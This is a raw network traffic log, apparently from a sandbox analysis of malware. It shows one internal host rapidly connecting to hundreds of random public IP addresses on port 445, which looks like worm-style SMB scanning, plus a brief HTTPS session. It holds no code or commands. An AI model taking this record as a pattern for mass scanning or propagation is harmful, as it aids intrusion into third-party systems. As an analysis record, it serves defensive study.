Jul 20, 2022 09:09:23.182153940 CEST	53014	445	192.168.2.6	199.67.3.226
Jul 20, 2022 09:09:23.182631969 CEST	53015	445	192.168.2.6	156.148.207.9
Jul 20, 2022 09:09:23.245083094 CEST	53016	445	192.168.2.6	14.3.99.144
Jul 20, 2022 09:09:23.323935032 CEST	445	52967	189.14.12.62	192.168.2.6
Jul 20, 2022 09:09:23.357764959 CEST	53023	445	192.168.2.6	44.119.98.132
Jul 20, 2022 09:09:23.359327078 CEST	53025	445	192.168.2.6	134.153.23.21
Jul 20, 2022 09:09:23.360182047 CEST	53026	445	192.168.2.6	190.220.100.43
Jul 20, 2022 09:09:23.361004114 CEST	53027	445	192.168.2.6	198.25.94.139
Jul 20, 2022 09:09:23.362473965 CEST	53029	445	192.168.2.6	19.204.109.19
Jul 20, 2022 09:09:23.387648106 CEST	53032	445	192.168.2.6	58.94.65.219
Jul 20, 2022 09:09:23.388389111 CEST	53033	445	192.168.2.6	95.53.24.178
Jul 20, 2022 09:09:23.389199972 CEST	53034	445	192.168.2.6	97.31.20.122
Jul 20, 2022 09:09:23.389982939 CEST	53035	445	192.168.2.6	95.222.105.238
Jul 20, 2022 09:09:23.390733004 CEST	53036	445	192.168.2.6	195.36.19.20
Jul 20, 2022 09:09:23.391777039 CEST	53037	445	192.168.2.6	149.97.87.179
Jul 20, 2022 09:09:23.403218031 CEST	53044	445	192.168.2.6	138.36.229.104
Jul 20, 2022 09:09:23.403270960 CEST	53045	445	192.168.2.6	208.199.91.135
Jul 20, 2022 09:09:23.403394938 CEST	53047	445	192.168.2.6	38.216.48.193
Jul 20, 2022 09:09:23.403482914 CEST	53049	445	192.168.2.6	115.227.223.144
Jul 20, 2022 09:09:23.403522015 CEST	53048	445	192.168.2.6	156.155.199.75
Jul 20, 2022 09:09:23.403661966 CEST	53052	445	192.168.2.6	22.190.186.221
Jul 20, 2022 09:09:23.403692961 CEST	53051	445	192.168.2.6	170.225.29.105
Jul 20, 2022 09:09:23.403811932 CEST	53053	445	192.168.2.6	208.199.151.247
Jul 20, 2022 09:09:23.403855085 CEST	53054	445	192.168.2.6	55.151.180.94
Jul 20, 2022 09:09:23.404278040 CEST	53057	445	192.168.2.6	31.203.44.58
Jul 20, 2022 09:09:23.408061981 CEST	53059	445	192.168.2.6	136.205.85.129
Jul 20, 2022 09:09:23.409147024 CEST	53061	445	192.168.2.6	139.148.193.20
Jul 20, 2022 09:09:23.409437895 CEST	53063	445	192.168.2.6	160.199.6.106
Jul 20, 2022 09:09:23.409594059 CEST	53065	445	192.168.2.6	6.34.232.70
Jul 20, 2022 09:09:23.409692049 CEST	53060	445	192.168.2.6	126.62.9.248
Jul 20, 2022 09:09:23.409833908 CEST	53066	445	192.168.2.6	158.112.198.29
Jul 20, 2022 09:09:24.306854963 CEST	53072	445	192.168.2.6	99.13.163.208
Jul 20, 2022 09:09:24.307703018 CEST	53073	445	192.168.2.6	91.23.206.115
Jul 20, 2022 09:09:24.311851978 CEST	53074	445	192.168.2.6	106.41.108.30
Jul 20, 2022 09:09:24.384296894 CEST	53075	445	192.168.2.6	197.58.126.222
Jul 20, 2022 09:09:24.456047058 CEST	445	53075	197.58.126.222	192.168.2.6
Jul 20, 2022 09:09:24.488364935 CEST	53082	445	192.168.2.6	207.241.242.6
Jul 20, 2022 09:09:24.488506079 CEST	53084	445	192.168.2.6	22.247.247.11
Jul 20, 2022 09:09:24.488696098 CEST	53085	445	192.168.2.6	208.206.16.112
Jul 20, 2022 09:09:24.488766909 CEST	53086	445	192.168.2.6	20.42.49.232
Jul 20, 2022 09:09:24.488902092 CEST	53088	445	192.168.2.6	95.148.19.191
Jul 20, 2022 09:09:24.511710882 CEST	53091	445	192.168.2.6	14.207.149.65
Jul 20, 2022 09:09:24.511778116 CEST	53092	445	192.168.2.6	119.225.128.213
Jul 20, 2022 09:09:24.511801958 CEST	53093	445	192.168.2.6	89.52.241.69
Jul 20, 2022 09:09:24.511981964 CEST	53094	445	192.168.2.6	101.204.175.32
Jul 20, 2022 09:09:24.512001991 CEST	53095	445	192.168.2.6	170.86.179.98
Jul 20, 2022 09:09:24.512403965 CEST	53096	445	192.168.2.6	1.35.238.207
Jul 20, 2022 09:09:24.536092043 CEST	53105	445	192.168.2.6	61.56.229.38
Jul 20, 2022 09:09:24.536148071 CEST	53106	445	192.168.2.6	132.16.76.46
Jul 20, 2022 09:09:24.536176920 CEST	53104	445	192.168.2.6	10.112.100.46
Jul 20, 2022 09:09:24.536288977 CEST	53108	445	192.168.2.6	128.41.187.84
Jul 20, 2022 09:09:24.536358118 CEST	53109	445	192.168.2.6	176.67.112.130
Jul 20, 2022 09:09:24.536412954 CEST	53111	445	192.168.2.6	211.123.192.202
Jul 20, 2022 09:09:24.536493063 CEST	53112	445	192.168.2.6	27.163.36.7
Jul 20, 2022 09:09:24.536540031 CEST	53114	445	192.168.2.6	40.148.92.21
Jul 20, 2022 09:09:24.536554098 CEST	53113	445	192.168.2.6	122.216.96.234
Jul 20, 2022 09:09:24.536761999 CEST	53118	445	192.168.2.6	128.2.246.23
Jul 20, 2022 09:09:24.536796093 CEST	53119	445	192.168.2.6	144.105.6.161
Jul 20, 2022 09:09:24.536935091 CEST	53120	445	192.168.2.6	5.201.72.129
Jul 20, 2022 09:09:24.536945105 CEST	53122	445	192.168.2.6	194.241.123.50
Jul 20, 2022 09:09:24.537069082 CEST	53124	445	192.168.2.6	118.42.20.30
Jul 20, 2022 09:09:24.537144899 CEST	53125	445	192.168.2.6	130.233.30.160
Jul 20, 2022 09:09:24.537175894 CEST	53126	445	192.168.2.6	93.220.133.19
Jul 20, 2022 09:09:24.705903053 CEST	445	53091	14.207.149.65	192.168.2.6
Jul 20, 2022 09:09:24.961195946 CEST	53075	445	192.168.2.6	197.58.126.222
Jul 20, 2022 09:09:24.992491007 CEST	52613	445	192.168.2.6	201.187.246.4
Jul 20, 2022 09:09:25.032461882 CEST	445	53075	197.58.126.222	192.168.2.6
Jul 20, 2022 09:09:25.273714066 CEST	53091	445	192.168.2.6	14.207.149.65
Jul 20, 2022 09:09:25.432068110 CEST	53131	445	192.168.2.6	24.209.35.160
Jul 20, 2022 09:09:25.432579041 CEST	53132	445	192.168.2.6	138.138.86.111
Jul 20, 2022 09:09:25.433089018 CEST	53133	445	192.168.2.6	1.172.105.142
Jul 20, 2022 09:09:25.473725080 CEST	445	53091	14.207.149.65	192.168.2.6
Jul 20, 2022 09:09:25.483016968 CEST	445	52928	172.197.37.56	192.168.2.6
Jul 20, 2022 09:09:25.510375977 CEST	53138	445	192.168.2.6	31.151.176.117
Jul 20, 2022 09:09:25.589118004 CEST	53141	445	192.168.2.6	112.90.45.100
Jul 20, 2022 09:09:25.590565920 CEST	53143	445	192.168.2.6	134.254.41.81
Jul 20, 2022 09:09:25.591239929 CEST	53144	445	192.168.2.6	155.233.47.78
Jul 20, 2022 09:09:25.591955900 CEST	53145	445	192.168.2.6	12.5.167.84
Jul 20, 2022 09:09:25.593498945 CEST	53148	445	192.168.2.6	14.244.186.106
Jul 20, 2022 09:09:25.636553049 CEST	53151	445	192.168.2.6	102.106.53.58
Jul 20, 2022 09:09:25.636626005 CEST	53150	445	192.168.2.6	5.192.224.134
Jul 20, 2022 09:09:25.636663914 CEST	53152	445	192.168.2.6	59.139.82.107
Jul 20, 2022 09:09:25.636744022 CEST	53153	445	192.168.2.6	40.203.225.247
Jul 20, 2022 09:09:25.636872053 CEST	53154	445	192.168.2.6	15.144.78.135
Jul 20, 2022 09:09:25.636893988 CEST	53155	445	192.168.2.6	66.139.252.43
Jul 20, 2022 09:09:25.650450945 CEST	53158	445	192.168.2.6	111.231.60.206
Jul 20, 2022 09:09:25.651113033 CEST	53159	445	192.168.2.6	78.200.208.244
Jul 20, 2022 09:09:25.652349949 CEST	53161	445	192.168.2.6	180.160.154.143
Jul 20, 2022 09:09:25.652951956 CEST	53162	445	192.168.2.6	124.72.119.28
Jul 20, 2022 09:09:25.654052973 CEST	53164	445	192.168.2.6	175.25.12.145
Jul 20, 2022 09:09:25.654706001 CEST	53165	445	192.168.2.6	50.57.253.176
Jul 20, 2022 09:09:25.655909061 CEST	53167	445	192.168.2.6	28.174.170.10
Jul 20, 2022 09:09:25.657495975 CEST	53170	445	192.168.2.6	11.57.27.191
Jul 20, 2022 09:09:25.658123016 CEST	53171	445	192.168.2.6	170.107.252.142
Jul 20, 2022 09:09:25.658761024 CEST	53172	445	192.168.2.6	186.76.153.3
Jul 20, 2022 09:09:25.673959017 CEST	53174	445	192.168.2.6	184.176.15.157
Jul 20, 2022 09:09:25.674796104 CEST	53175	445	192.168.2.6	88.186.186.192
Jul 20, 2022 09:09:25.674995899 CEST	53177	445	192.168.2.6	181.184.80.181
Jul 20, 2022 09:09:25.675096035 CEST	53178	445	192.168.2.6	121.224.235.59
Jul 20, 2022 09:09:25.675196886 CEST	53179	445	192.168.2.6	210.137.151.209
Jul 20, 2022 09:09:25.675451994 CEST	53180	445	192.168.2.6	90.98.68.166
Jul 20, 2022 09:09:25.773787022 CEST	52615	445	192.168.2.6	201.187.246.4
Jul 20, 2022 09:09:26.541748047 CEST	53191	445	192.168.2.6	39.104.172.13
Jul 20, 2022 09:09:26.542538881 CEST	53192	445	192.168.2.6	124.196.40.94
Jul 20, 2022 09:09:26.543267965 CEST	53193	445	192.168.2.6	144.80.96.130
Jul 20, 2022 09:09:26.620825052 CEST	53198	445	192.168.2.6	108.232.115.73
Jul 20, 2022 09:09:26.716629982 CEST	53200	445	192.168.2.6	165.20.111.49
Jul 20, 2022 09:09:26.716722012 CEST	53203	445	192.168.2.6	173.87.172.11
Jul 20, 2022 09:09:26.716852903 CEST	53205	445	192.168.2.6	56.116.177.207
Jul 20, 2022 09:09:26.716852903 CEST	53204	445	192.168.2.6	169.132.155.109
Jul 20, 2022 09:09:26.716942072 CEST	53206	445	192.168.2.6	203.78.252.73
Jul 20, 2022 09:09:26.743908882 CEST	53209	445	192.168.2.6	215.109.188.76
Jul 20, 2022 09:09:26.744505882 CEST	53210	445	192.168.2.6	95.249.161.71
Jul 20, 2022 09:09:26.745023012 CEST	53211	445	192.168.2.6	173.215.49.131
Jul 20, 2022 09:09:26.745543003 CEST	53212	445	192.168.2.6	110.185.93.72
Jul 20, 2022 09:09:26.747024059 CEST	53215	445	192.168.2.6	175.113.143.104
Jul 20, 2022 09:09:26.747586966 CEST	53216	445	192.168.2.6	31.164.181.150
Jul 20, 2022 09:09:26.760281086 CEST	53218	445	192.168.2.6	14.147.100.74
Jul 20, 2022 09:09:26.761045933 CEST	53219	445	192.168.2.6	16.244.77.241
Jul 20, 2022 09:09:26.761919022 CEST	53220	445	192.168.2.6	136.37.35.40
Jul 20, 2022 09:09:26.764178991 CEST	53223	445	192.168.2.6	197.192.105.3
Jul 20, 2022 09:09:26.767798901 CEST	53225	445	192.168.2.6	3.67.156.40
Jul 20, 2022 09:09:26.768381119 CEST	53226	445	192.168.2.6	155.15.30.244
Jul 20, 2022 09:09:26.769690990 CEST	53228	445	192.168.2.6	62.209.59.127
Jul 20, 2022 09:09:26.770437002 CEST	53229	445	192.168.2.6	77.173.227.23
Jul 20, 2022 09:09:26.771840096 CEST	53231	445	192.168.2.6	152.47.150.11
Jul 20, 2022 09:09:26.772577047 CEST	53232	445	192.168.2.6	70.46.176.247
Jul 20, 2022 09:09:26.777391911 CEST	53237	445	192.168.2.6	195.132.24.195
Jul 20, 2022 09:09:26.778146029 CEST	53238	445	192.168.2.6	142.160.216.63
Jul 20, 2022 09:09:26.779587030 CEST	53240	445	192.168.2.6	173.230.215.216
Jul 20, 2022 09:09:26.780375004 CEST	53241	445	192.168.2.6	82.201.83.204
Jul 20, 2022 09:09:26.781059027 CEST	53242	445	192.168.2.6	122.138.124.75
Jul 20, 2022 09:09:26.781817913 CEST	53243	445	192.168.2.6	105.187.68.173
Jul 20, 2022 09:09:27.683175087 CEST	53251	445	192.168.2.6	96.216.126.52
Jul 20, 2022 09:09:27.686157942 CEST	53252	445	192.168.2.6	54.98.34.217
Jul 20, 2022 09:09:27.686604977 CEST	53253	445	192.168.2.6	83.59.10.11
Jul 20, 2022 09:09:27.804580927 CEST	53257	445	192.168.2.6	110.94.114.238
Jul 20, 2022 09:09:27.878643036 CEST	53261	445	192.168.2.6	25.154.106.219
Jul 20, 2022 09:09:27.880086899 CEST	53264	445	192.168.2.6	195.77.159.152
Jul 20, 2022 09:09:27.880604982 CEST	53265	445	192.168.2.6	171.174.79.8
Jul 20, 2022 09:09:27.911451101 CEST	53266	445	192.168.2.6	156.119.63.192
Jul 20, 2022 09:09:27.912331104 CEST	53267	445	192.168.2.6	206.167.15.239
Jul 20, 2022 09:09:28.039184093 CEST	53271	445	192.168.2.6	178.21.67.253
Jul 20, 2022 09:09:28.039207935 CEST	53272	445	192.168.2.6	166.76.232.139
Jul 20, 2022 09:09:28.039371967 CEST	53274	445	192.168.2.6	117.60.8.217
Jul 20, 2022 09:09:28.039510965 CEST	53276	445	192.168.2.6	77.62.59.158
Jul 20, 2022 09:09:28.039688110 CEST	53277	445	192.168.2.6	152.227.49.11
Jul 20, 2022 09:09:28.039827108 CEST	53278	445	192.168.2.6	63.82.157.210
Jul 20, 2022 09:09:28.040034056 CEST	53280	445	192.168.2.6	114.109.7.113
Jul 20, 2022 09:09:28.040163040 CEST	53281	445	192.168.2.6	46.153.10.138
Jul 20, 2022 09:09:28.040332079 CEST	53283	445	192.168.2.6	47.224.115.32
Jul 20, 2022 09:09:28.040385008 CEST	53284	445	192.168.2.6	80.116.97.80
Jul 20, 2022 09:09:28.040499926 CEST	53286	445	192.168.2.6	104.163.225.248
Jul 20, 2022 09:09:28.040571928 CEST	53287	445	192.168.2.6	47.207.194.51
Jul 20, 2022 09:09:28.040704012 CEST	53289	445	192.168.2.6	87.8.151.224
Jul 20, 2022 09:09:28.040776968 CEST	53291	445	192.168.2.6	108.15.119.223
Jul 20, 2022 09:09:28.040904999 CEST	53293	445	192.168.2.6	56.225.86.24
Jul 20, 2022 09:09:28.040926933 CEST	53294	445	192.168.2.6	100.179.228.41
Jul 20, 2022 09:09:28.041158915 CEST	53298	445	192.168.2.6	6.9.81.221
Jul 20, 2022 09:09:28.041359901 CEST	53303	445	192.168.2.6	176.223.76.193
Jul 20, 2022 09:09:28.041426897 CEST	53304	445	192.168.2.6	105.107.197.221
Jul 20, 2022 09:09:28.041501999 CEST	53305	445	192.168.2.6	105.4.149.187
Jul 20, 2022 09:09:28.041513920 CEST	53306	445	192.168.2.6	4.159.77.30
Jul 20, 2022 09:09:28.041637897 CEST	53308	445	192.168.2.6	185.104.37.204
Jul 20, 2022 09:09:28.045380116 CEST	53309	443	192.168.2.6	20.199.120.85
Jul 20, 2022 09:09:28.045412064 CEST	443	53309	20.199.120.85	192.168.2.6
Jul 20, 2022 09:09:28.045500994 CEST	53309	443	192.168.2.6	20.199.120.85
Jul 20, 2022 09:09:28.046363115 CEST	53309	443	192.168.2.6	20.199.120.85
Jul 20, 2022 09:09:28.046375990 CEST	443	53309	20.199.120.85	192.168.2.6
Jul 20, 2022 09:09:28.136360884 CEST	443	53309	20.199.120.85	192.168.2.6
Jul 20, 2022 09:09:28.136615038 CEST	53309	443	192.168.2.6	20.199.120.85
Jul 20, 2022 09:09:28.148875952 CEST	445	53308	185.104.37.204	192.168.2.6
Jul 20, 2022 09:09:28.166245937 CEST	53309	443	192.168.2.6	20.199.120.85
Jul 20, 2022 09:09:28.166266918 CEST	443	53309	20.199.120.85	192.168.2.6
Jul 20, 2022 09:09:28.166542053 CEST	443	53309	20.199.120.85	192.168.2.6
Jul 20, 2022 09:09:28.167449951 CEST	53309	443	192.168.2.6	20.199.120.85
Jul 20, 2022 09:09:28.167500973 CEST	53309	443	192.168.2.6	20.199.120.85
Jul 20, 2022 09:09:28.167510033 CEST	443	53309	20.199.120.85	192.168.2.6
Jul 20, 2022 09:09:28.167619944 CEST	53309	443	192.168.2.6	20.199.120.85
Jul 20, 2022 09:09:28.194542885 CEST	443	53309	20.199.120.85	192.168.2.6
Jul 20, 2022 09:09:28.194622993 CEST	443	53309	20.199.120.85	192.168.2.6
Jul 20, 2022 09:09:28.194731951 CEST	53309	443	192.168.2.6	20.199.120.85
Jul 20, 2022 09:09:28.194864035 CEST	53309	443	192.168.2.6	20.199.120.85
Jul 20, 2022 09:09:28.194897890 CEST	443	53309	20.199.120.85	192.168.2.6
Jul 20, 2022 09:09:28.774142027 CEST	53308	445	192.168.2.6	185.104.37.204
Jul 20, 2022 09:09:28.807831049 CEST	53313	445	192.168.2.6	1.17.120.159
Jul 20, 2022 09:09:28.808836937 CEST	53314	445	192.168.2.6	38.8.233.32
Jul 20, 2022 09:09:28.809568882 CEST	53315	445	192.168.2.6	158.168.124.56
Jul 20, 2022 09:09:28.879268885 CEST	445	53308	185.104.37.204	192.168.2.6
Jul 20, 2022 09:09:28.917081118 CEST	53319	445	192.168.2.6	117.154.178.225
Jul 20, 2022 09:09:28.994282007 CEST	53322	445	192.168.2.6	201.72.245.189
Jul 20, 2022 09:09:28.996366978 CEST	53325	445	192.168.2.6	91.190.131.245
Jul 20, 2022 09:09:28.997128963 CEST	53326	445	192.168.2.6	74.189.115.246
Jul 20, 2022 09:09:29.025537014 CEST	53328	445	192.168.2.6	23.39.61.21
Jul 20, 2022 09:09:29.026938915 CEST	53330	445	192.168.2.6	6.237.172.229
Jul 20, 2022 09:09:29.166486025 CEST	53332	445	192.168.2.6	79.23.216.86
Jul 20, 2022 09:09:29.168117046 CEST	53334	445	192.168.2.6	19.1.182.86
Jul 20, 2022 09:09:29.168874979 CEST	53335	445	192.168.2.6	27.52.151.8
Jul 20, 2022 09:09:29.170253038 CEST	53337	445	192.168.2.6	164.22.177.86
Jul 20, 2022 09:09:29.170943975 CEST	53338	445	192.168.2.6	115.175.118.248
Jul 20, 2022 09:09:29.172883034 CEST	53341	445	192.168.2.6	21.18.186.203
Jul 20, 2022 09:09:29.173674107 CEST	53342	445	192.168.2.6	79.101.114.8
Jul 20, 2022 09:09:29.175056934 CEST	53344	445	192.168.2.6	113.177.208.10
Jul 20, 2022 09:09:29.176074982 CEST	53345	445	192.168.2.6	144.110.116.212
Jul 20, 2022 09:09:29.179352045 CEST	53350	445	192.168.2.6	197.28.186.93
Jul 20, 2022 09:09:29.194140911 CEST	53353	445	192.168.2.6	49.127.35.66
Jul 20, 2022 09:09:29.195880890 CEST	53355	445	192.168.2.6	190.8.117.111
Jul 20, 2022 09:09:29.196842909 CEST	53356	445	192.168.2.6	118.151.201.27
Jul 20, 2022 09:09:29.197562933 CEST	53357	445	192.168.2.6	103.99.133.14
Jul 20, 2022 09:09:29.198934078 CEST	53359	445	192.168.2.6	55.177.49.21
Jul 20, 2022 09:09:29.199621916 CEST	53360	445	192.168.2.6	166.22.47.51
Jul 20, 2022 09:09:29.203672886 CEST	53362	445	192.168.2.6	66.222.173.15
Jul 20, 2022 09:09:29.204057932 CEST	53363	445	192.168.2.6	217.55.49.177
Jul 20, 2022 09:09:29.204107046 CEST	53364	445	192.168.2.6	173.70.145.164
Jul 20, 2022 09:09:29.204205990 CEST	53366	445	192.168.2.6	109.101.18.192
Jul 20, 2022 09:09:29.204313040 CEST	53367	445	192.168.2.6	35.75.223.31
Jul 20, 2022 09:09:29.204336882 CEST	53368	445	192.168.2.6	212.51.43.74
Jul 20, 2022 09:09:29.927470922 CEST	53374	445	192.168.2.6	34.120.68.93
Jul 20, 2022 09:09:29.927665949 CEST	53376	445	192.168.2.6	86.214.127.135
Jul 20, 2022 09:09:29.927766085 CEST	53378	445	192.168.2.6	158.119.156.77
Jul 20, 2022 09:09:29.947376013 CEST	445	53374	34.120.68.93	192.168.2.6
Jul 20, 2022 09:09:30.044094086 CEST	53381	445	192.168.2.6	99.173.106.128
Jul 20, 2022 09:09:30.118973017 CEST	53384	445	192.168.2.6	222.243.170.126
Jul 20, 2022 09:09:30.121165991 CEST	53387	445	192.168.2.6	165.119.194.47
Jul 20, 2022 09:09:30.121886969 CEST	53388	445	192.168.2.6	47.89.161.13
Jul 20, 2022 09:09:30.157114029 CEST	53390	445	192.168.2.6	88.78.50.215
Jul 20, 2022 09:09:30.157706022 CEST	53392	445	192.168.2.6	149.160.69.12
Jul 20, 2022 09:09:30.300215960 CEST	53395	445	192.168.2.6	22.139.187.69
Jul 20, 2022 09:09:30.300760031 CEST	53400	445	192.168.2.6	155.254.163.210
Jul 20, 2022 09:09:30.300853014 CEST	53402	445	192.168.2.6	188.148.230.254
Jul 20, 2022 09:09:30.300882101 CEST	53403	445	192.168.2.6	30.52.117.26
Jul 20, 2022 09:09:30.300978899 CEST	53404	445	192.168.2.6	35.229.228.157
Jul 20, 2022 09:09:30.301064014 CEST	53406	445	192.168.2.6	25.80.0.161
Jul 20, 2022 09:09:30.301162958 CEST	53408	445	192.168.2.6	163.41.216.250
Jul 20, 2022 09:09:30.301235914 CEST	53410	445	192.168.2.6	150.215.13.67
Jul 20, 2022 09:09:30.301260948 CEST	53411	445	192.168.2.6	139.27.125.243
Jul 20, 2022 09:09:30.301359892 CEST	53412	445	192.168.2.6	139.228.76.112
Jul 20, 2022 09:09:30.307085037 CEST	53416	445	192.168.2.6	194.205.69.10
Jul 20, 2022 09:09:30.322792053 CEST	53417	445	192.168.2.6	64.222.142.33
Jul 20, 2022 09:09:30.324167967 CEST	53419	445	192.168.2.6	14.32.209.79
Jul 20, 2022 09:09:30.325504065 CEST	53421	445	192.168.2.6	203.134.1.218
Jul 20, 2022 09:09:30.326185942 CEST	53422	445	192.168.2.6	49.168.49.196
Jul 20, 2022 09:09:30.327234983 CEST	53423	445	192.168.2.6	49.209.191.226
Jul 20, 2022 09:09:30.329045057 CEST	53426	445	192.168.2.6	112.240.251.197
Jul 20, 2022 09:09:30.329576015 CEST	53427	445	192.168.2.6	153.62.133.119
Jul 20, 2022 09:09:30.330089092 CEST	53428	445	192.168.2.6	152.81.90.22
Jul 20, 2022 09:09:30.331103086 CEST	53430	445	192.168.2.6	62.176.154.1
Jul 20, 2022 09:09:30.331613064 CEST	53431	445	192.168.2.6	154.11.9.123
Jul 20, 2022 09:09:30.332149029 CEST	53432	445	192.168.2.6	107.138.149.129
Jul 20, 2022 09:09:30.492985010 CEST	53374	445	192.168.2.6	34.120.68.93
Jul 20, 2022 09:09:30.509430885 CEST	445	53374	34.120.68.93	192.168.2.6
Jul 20, 2022 09:09:31.025897026 CEST	53437	445	192.168.2.6	197.64.158.10
Jul 20, 2022 09:09:31.026457071 CEST	53438	445	192.168.2.6	173.229.41.208
Jul 20, 2022 09:09:31.026948929 CEST	53439	445	192.168.2.6	4.111.128.119
Jul 20, 2022 09:09:31.234373093 CEST	53443	445	192.168.2.6	153.12.233.24
Jul 20, 2022 09:09:31.254759073 CEST	53446	445	192.168.2.6	160.92.31.115
Jul 20, 2022 09:09:31.254875898 CEST	53450	445	192.168.2.6	132.189.23.127
Jul 20, 2022 09:09:31.256561041 CEST	53449	445	192.168.2.6	163.103.193.120
Jul 20, 2022 09:09:31.275542021 CEST	53452	445	192.168.2.6	39.62.170.107
Jul 20, 2022 09:09:31.276635885 CEST	53454	445	192.168.2.6	64.0.178.36
Jul 20, 2022 09:09:31.426992893 CEST	53456	445	192.168.2.6	52.99.2.63
Jul 20, 2022 09:09:31.427591085 CEST	53463	445	192.168.2.6	9.131.192.212
Jul 20, 2022 09:09:31.427644968 CEST	53464	445	192.168.2.6	71.149.213.211
Jul 20, 2022 09:09:31.427716970 CEST	53465	445	192.168.2.6	83.46.74.178
Jul 20, 2022 09:09:31.427828074 CEST	53468	445	192.168.2.6	139.52.143.237
Jul 20, 2022 09:09:31.427869081 CEST	53467	445	192.168.2.6	213.251.158.183
Jul 20, 2022 09:09:31.427974939 CEST	53472	445	192.168.2.6	157.169.224.109
Jul 20, 2022 09:09:31.427997112 CEST	53471	445	192.168.2.6	120.123.54.11
Jul 20, 2022 09:09:31.428124905 CEST	53473	445	192.168.2.6	49.95.6.247
Jul 20, 2022 09:09:31.429949999 CEST	53474	445	192.168.2.6	44.142.10.38
Jul 20, 2022 09:09:31.432368994 CEST	53476	445	192.168.2.6	145.97.94.39
Jul 20, 2022 09:09:31.447276115 CEST	53479	445	192.168.2.6	12.154.100.61
Jul 20, 2022 09:09:31.456856012 CEST	53481	445	192.168.2.6	152.34.139.141
Jul 20, 2022 09:09:31.457088947 CEST	53483	445	192.168.2.6	148.27.224.23
Jul 20, 2022 09:09:31.457227945 CEST	53484	445	192.168.2.6	80.244.33.46
Jul 20, 2022 09:09:31.457360029 CEST	53485	445	192.168.2.6	92.160.166.161
Jul 20, 2022 09:09:31.457607031 CEST	53488	445	192.168.2.6	121.144.248.60
Jul 20, 2022 09:09:31.457693100 CEST	53489	445	192.168.2.6	23.19.128.247
Jul 20, 2022 09:09:31.457829952 CEST	53490	445	192.168.2.6	187.159.65.116
Jul 20, 2022 09:09:31.457977057 CEST	53492	445	192.168.2.6	4.39.104.102
Jul 20, 2022 09:09:31.458117962 CEST	53493	445	192.168.2.6	128.212.228.192
Jul 20, 2022 09:09:31.458187103 CEST	53494	445	192.168.2.6	12.208.6.173
Jul 20, 2022 09:09:32.136218071 CEST	53500	445	192.168.2.6	215.195.125.15
Jul 20, 2022 09:09:32.136993885 CEST	53501	445	192.168.2.6	107.177.245.203
Jul 20, 2022 09:09:32.137650967 CEST	53502	445	192.168.2.6	107.107.193.93
Jul 20, 2022 09:09:32.343209028 CEST	53506	445	192.168.2.6	145.140.238.69
Jul 20, 2022 09:09:32.354424000 CEST	53509	445	192.168.2.6	137.67.180.102
Jul 20, 2022 09:09:32.358480930 CEST	53512	445	192.168.2.6	66.199.69.109
Jul 20, 2022 09:09:32.359817982 CEST	53513	445	192.168.2.6	126.216.239.124
Jul 20, 2022 09:09:32.411109924 CEST	53515	445	192.168.2.6	217.59.186.210
Jul 20, 2022 09:09:32.411339998 CEST	53517	445	192.168.2.6	155.138.132.14
Jul 20, 2022 09:09:32.525712013 CEST	445	53517	155.138.132.14	192.168.2.6
Jul 20, 2022 09:09:32.541106939 CEST	53520	445	192.168.2.6	125.46.180.127
Jul 20, 2022 09:09:32.541589975 CEST	53521	445	192.168.2.6	178.41.49.254
Jul 20, 2022 09:09:32.542141914 CEST	53522	445	192.168.2.6	91.118.31.223
Jul 20, 2022 09:09:32.542706966 CEST	53523	445	192.168.2.6	202.181.29.197
Jul 20, 2022 09:09:32.544403076 CEST	53526	445	192.168.2.6	68.72.38.77
Jul 20, 2022 09:09:32.545634031 CEST	53528	445	192.168.2.6	110.110.218.192
Jul 20, 2022 09:09:32.546116114 CEST	53529	445	192.168.2.6	117.78.27.104
Jul 20, 2022 09:09:32.549797058 CEST	53530	445	192.168.2.6	35.154.62.143
Jul 20, 2022 09:09:32.550359964 CEST	53537	445	192.168.2.6	172.182.225.245
Jul 20, 2022 09:09:32.551085949 CEST	53531	445	192.168.2.6	15.246.195.194
Jul 20, 2022 09:09:32.584563017 CEST	53539	445	192.168.2.6	185.133.7.153
Jul 20, 2022 09:09:32.586668015 CEST	53543	445	192.168.2.6	205.32.78.121
Jul 20, 2022 09:09:32.587228060 CEST	53544	445	192.168.2.6	118.96.185.49
Jul 20, 2022 09:09:32.587790966 CEST	53545	445	192.168.2.6	6.6.2.68
Jul 20, 2022 09:09:32.588315010 CEST	53546	445	192.168.2.6	31.141.188.93
Jul 20, 2022 09:09:32.589350939 CEST	53548	445	192.168.2.6	30.96.21.9
Jul 20, 2022 09:09:32.590564966 CEST	53550	445	192.168.2.6	26.248.124.97
Jul 20, 2022 09:09:32.591105938 CEST	53551	445	192.168.2.6	3.186.193.226
Jul 20, 2022 09:09:32.591666937 CEST	53552	445	192.168.2.6	129.34.104.164
Jul 20, 2022 09:09:32.593144894 CEST	53555	445	192.168.2.6	124.195.229.210
Jul 20, 2022 09:09:32.593693018 CEST	53556	445	192.168.2.6	100.59.166.230
Jul 20, 2022 09:09:32.594207048 CEST	53557	445	192.168.2.6	79.40.202.112
Jul 20, 2022 09:09:32.794464111 CEST	445	53544	118.96.185.49	192.168.2.6
Jul 20, 2022 09:09:33.071294069 CEST	53517	445	192.168.2.6	155.138.132.14
Jul 20, 2022 09:09:33.186223030 CEST	445	53517	155.138.132.14	192.168.2.6
Jul 20, 2022 09:09:33.245271921 CEST	53563	445	192.168.2.6	190.134.92.225
Jul 20, 2022 09:09:33.246140003 CEST	53564	445	192.168.2.6	157.93.27.149
Jul 20, 2022 09:09:33.247134924 CEST	53565	445	192.168.2.6	222.99.101.248
Jul 20, 2022 09:09:33.461935043 CEST	53544	445	192.168.2.6	118.96.185.49
Jul 20, 2022 09:09:33.465929031 CEST	53569	445	192.168.2.6	223.166.145.70
Jul 20, 2022 09:09:33.483375072 CEST	445	53563	190.134.92.225	192.168.2.6
Jul 20, 2022 09:09:33.489211082 CEST	53573	445	192.168.2.6	129.11.158.165
Jul 20, 2022 09:09:33.489335060 CEST	53574	445	192.168.2.6	147.15.85.87
Jul 20, 2022 09:09:33.489485025 CEST	53577	445	192.168.2.6	104.84.60.138
Jul 20, 2022 09:09:33.510828018 CEST	53578	445	192.168.2.6	17.61.192.0
Jul 20, 2022 09:09:33.511035919 CEST	53580	445	192.168.2.6	65.224.9.217
Jul 20, 2022 09:09:33.651809931 CEST	53583	445	192.168.2.6	124.119.205.1
Jul 20, 2022 09:09:33.670222044 CEST	445	53544	118.96.185.49	192.168.2.6
Jul 20, 2022 09:09:33.673223019 CEST	53589	445	192.168.2.6	210.69.177.217
Jul 20, 2022 09:09:33.673398018 CEST	53590	445	192.168.2.6	186.4.122.42
Jul 20, 2022 09:09:33.673531055 CEST	53591	445	192.168.2.6	178.143.219.136
